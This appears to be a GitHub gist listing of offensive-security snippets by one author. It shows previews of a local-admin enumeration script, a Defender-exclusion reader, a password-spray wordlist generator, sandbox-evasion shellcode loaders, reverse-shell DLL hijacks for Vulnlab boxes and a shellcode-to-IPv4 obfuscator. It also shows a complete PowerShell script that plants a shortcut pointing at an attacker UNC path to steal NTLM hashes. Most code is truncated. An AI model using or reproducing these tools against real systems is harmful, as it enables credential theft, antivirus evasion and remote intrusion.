Skip to content

Instantly share code, notes, and snippets.

@caueb
caueb / lookupadmins.py
Created June 16, 2024 07:52
Retrieve local admins on a target machine.
#!/usr/bin/env python
#
# Title: lookupadmins.py
# Author: @ropnop
# Description: Python script using Impacket to query members of the builtin Administrators group through SAMR
# Similar in function to Get-NetLocalGroup from Powerview
# Won't work against Windows 10 Anniversary Edition unless you already have local admin
# See: http://www.securityweek.com/microsoft-experts-launch-anti-recon-tool-windows-10-server-2016
# Heavily based on original Impacket example scripts written by @agsolino and available here: https://github.com/CoreSecurity/impacket
#
@caueb
caueb / Invoke-DefenderExclusions.ps1
Created June 6, 2024 14:18
Retrieve Defender exclusion paths as low-privilege user by parsing Windows event 5007.
function Get-DefenderExclusions {
param (
[string]$LogName = "Microsoft-Windows-Windows Defender/Operational",
[int]$EventID = 5007
)
# Get all event logs with the specified Event ID efficiently
$events = Get-WinEvent -FilterHashtable @{LogName=$LogName; Id=$EventID}
# Filter events that contain the word "Exclusions"
@caueb
caueb / gen-wordlist.py
Last active April 3, 2024 23:57
Python wordlist generator for spray/cracking.
#!/usr/bin/env python3
"""
- Combine 2 different words
- Combine 2 different words and capitalize the first word
- Combine 2 different words and capitalize the second word
- Combine 2 different words and convert both to uppercase (optional)
- Combine 2 different words and mutate into leet speak (optional)
- Combine 2 different words, mutate into leet speak, and convert to uppercase (optional)
- Combine 3 different words
- Combine 3 different words and capitalize the first word
@caueb
caueb / put-webserver.py
Created January 9, 2024 03:12
Python webserver that supports PUT method to receive and save files.
#!/usr/bin/env python
"""Extend Python's built in HTTP server to save files
curl or wget can be used to send files with options similar to the following
curl -X PUT --upload-file somefile.txt http://localhost:8000
wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt
__Note__: curl automatically appends the filename onto the end of the URL so
@caueb
caueb / itsnotmalware.cpp
Created October 25, 2023 06:11
Simple Sandbox evasion checking if the name of executable is in the path.
// Payload encoding using HellsShell (https://github.com/NUL0x4C/HellShell)
// Compile with clang: clang++ -w -Oz -mwindows itsnotmalware.cpp -o itsnotmalware.exe
#include "Windows.h"
#include "stdio.h"
#include <iostream>
#include <string>
#include <regex>
#define _CRT_SECURE_NO_WARNINGS
@caueb
caueb / dll-cpl-template.c
Created October 11, 2023 09:04
DLL/CPL Template
// Create the project as DLL, compile it, and just rename it file.cpl
// Simply double click in the file to run
#include <Windows.h>
__declspec(dllexport) LONG CALLBACK CPlApplet(HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2) {
MessageBoxA(NULL, "Test", "Caption", MB_OK);
return 1;
}
@caueb
caueb / reverse.c
Created October 5, 2023 00:43
DLL hijack in Clickonce app - Vulnlab Push
// Compile with MingW: x86_64-w64-mingw32-gcc-win32 reverse.c -shared -lws2_32 -o Hijack.dll.deploy
#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <process.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@caueb
caueb / CreateLNK.ps1
Created September 21, 2023 08:13
Create a shortcut to steal NTLM hashes. Target just need to browse the folder where the shortcut is located.
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("$env:USERPROFILE\\Desktop\\HashStealer.lnk")
$shortcut.TargetPath = '\\\\192.168.150.134\\tools\\app.ico'
$shortcut.Save()
@caueb
caueb / dllmain.c
Created September 18, 2023 11:21
Vulnlab: Bruno (simple reverse shell) DLL hijack.
// Vulnlab: Bruno
// DLL Hijack of hostfxr.dll
#include <winsock2.h>
#include <stdio.h>
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)
#pragma comment(lib, "ws2_32")
@caueb
caueb / bintoipv4.py
Last active April 5, 2024 05:11
Convert binary to IPv4 format.
from ipaddress import ip_address
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(4)
ip_addresses = []